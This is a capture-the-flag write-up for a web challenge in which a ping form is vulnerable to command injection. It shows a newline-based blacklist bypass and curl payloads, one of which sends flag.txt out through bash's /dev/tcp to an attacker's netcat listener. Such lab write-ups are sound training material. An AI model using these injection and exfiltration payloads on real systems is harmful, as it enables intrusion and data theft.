GET /flag

Availability

The Availability challenge was a hard web challenge written by John Hammond. It was solved by 115 players and gave 357 points.

My school was trying to teach people about the CIA triad so they made all these dumb example applications… as if they know anything about information security.

They said they fixed the bug from the last app, but they also said they knew they went overboard with the filtered characters, so they loosened things up a bit. Can you hack it?

Press the Start button on the top-right to begin this challenge.

After pressing the Start button, a link appears to this website:

Website screenshot

Screenshot of the website

Entering the proposed localhost IP gave the following response:

Success alert

The implementation of the ping functionality is probably just executing ping with the user input as argument (Like in the similar challenges Confidentiality and Integrity).

Trying to add another command to the line will fail, since most special characters are blacklisted and get rejected by the WAF.

Not-allowed alert

%, >, < and / do not get blocked.

Taking a look at the DevTools Network tab and hitting ‘Assess Availability’ on the website, reveals a POST request with the user input as data.

So…

  • Right click the request

  • Copy > Copy as cURL (bash)

  • Paste into terminal

  • Delete unnecessary options

  • And remove the closing quotation mark of the data argument

    • Hit Enter

    • And type out the command you want to inject (e.g. id)

curl 'http://challenge.ctf.games:31632/' \
--data-raw 'host=127.0.0.1
id'

Notice the newline between 127.0.0.1 and id.

The newline character will cause the command line interpreter to interpret them as two separate commands and execute both.1

curl will give us the raw HTML, containing the success alert. But we do not get the output from the injected command. We only get whether the command succeeded or failed via the alert box. This would allow us to bruteforce the flag character by character. But there is a much better way:

Based on information from the challenge Integrity, we assume that the flag is stored in flag.txt which lies in the ‘current’ directory.

We also assume that the commands are interpreted by bash.

The bash shell has a neat functionality that allows to use raw TCP sockets via a device. By writing into /dev/tcp/$REMOTEHOST/$REMOTEPORT, we can send TCP packets.

So start a netcat listener nc -vlp 8053 on a publicly available host2 and execute the following command.

curl 'http://challenge.ctf.games:31632/' \
--data-raw 'host=127.0.0.1
cat flag.txt > /dev/tcp/$REMOTEHOST/$REMOTEPORT'

You would need to replace $REMOTEHOST and $REMOTEPORT accordingly.

Now you should be able to see the flag in the netcat listener.


  1. Alternatively, one could use the urlencoded newline %0A or write the payload in CyberChef and than run a ‘URL Encode’ recipe. 

  2. You could use my Digital Ocean referral link or my Vultr referral link to get a 100 USD credit for deploying a VPS, or use a service like ngrok to create a tunnel.